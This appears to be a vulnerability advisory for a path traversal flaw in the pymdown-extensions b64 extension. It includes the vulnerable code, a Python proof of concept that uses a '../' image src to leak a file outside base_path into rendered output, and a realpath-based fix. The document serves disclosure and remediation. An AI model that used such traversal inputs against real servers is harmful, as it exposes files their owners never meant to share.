Threats Tagged 'brew-mkdocs-material-cve-2026-61632'

### Summary The `b64` extension inlines images referenced by `<img src="...">` as base64 data URIs. When resolving the `src` path it joins it onto the configured `base_path` with `os.path.normpath` and opens the result directly, with no check that the resolved path stays inside `base_path`. A `src` containing `../` sequences, or an absolute path, therefore reads a file outside `base_path` as long as that file has an allowed image extension (`.png`, `.jpg`, `.jpeg`, `.gif`, `.svg`). The base64 of that file is then embedded in the rendered output, disclosing its contents. This is a separate code path from the `snippets` traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in `pymdownx/b64.py` and has no path restriction of any kind. Confirmed on `10.21.3` installed from PyPI. ### Details In `pymdownx/b64.py`, function `repl_path` (around lines 68 to 90 on `main`): ```python if is_absolute: file_name = os.path.normpath(path) # absolute src: base_path ignored entirely else: file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path if os.path.exists(file_name): ext = os.path.splitext(file_name)[1].lower() for b64_ext in file_types: if ext in b64_ext: with open(file_name, "rb") as f: # opened with no containment check ... ``` There is no `startswith(base_path)`, no `os.path.realpath` comparison, and no rejection of `..`. Both branches are reachable from an attacker-controlled `src`. ### PoC Reproduced against an unmodified `pymdown-extensions==10.21.3` from PyPI. The script creates a `base_path` directory and a PNG one level above it, then renders Markdown whose image `src` points outside `base_path`, and confirms the outside file's bytes appear base64-encoded in the output. ```python import base64, os, shutil, tempfile, markdown root = tempfile.mkdtemp() base_path = os.path.join(root, "docs"); os.makedirs(base_path) outside = os.path.join(root, "secret"); os.makedirs(outside) png = base64.b64decode( "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk" "+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==" ) with open(os.path.join(outside, "secret.png"), "wb") as f: f.write(png) md = markdown.Markdown( extensions=["pymdownx.b64"], extension_configs={"pymdownx.b64": {"base_path": base_path}}, ) html = md.convert('<img src="../secret/secret.png">') assert base64.b64encode(png).decode() in html, "not leaked" print("LEAKED:", html) ``` Output: ``` LEAKED: <p><img src="..."></p> ``` The base64 of a file outside `base_path` is present in the output. The absolute-path branch behaves the same way: an absolute `src` bypasses `base_path` entirely via `os.path.normpath(path)`. Both were confirmed leaking. ### Impact An application that renders untrusted Markdown with `pymdownx.b64` enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed. ### Suggested fix Resolve the real path and require it to stay within `base_path` before opening: ```python file_name = os.path.realpath(os.path.join(base_path, path)) base_real = os.path.realpath(base_path) if file_name != base_real and not file_name.startswith(base_real + os.sep): return m.group(0) # leave the tag untouched; do not read outside base_path ``` The same containment check should apply to the absolute-path branch rather than trusting an absolute `src`. Using `realpath` instead of `abspath` also closes the related symlink-following gap in the snippets handler.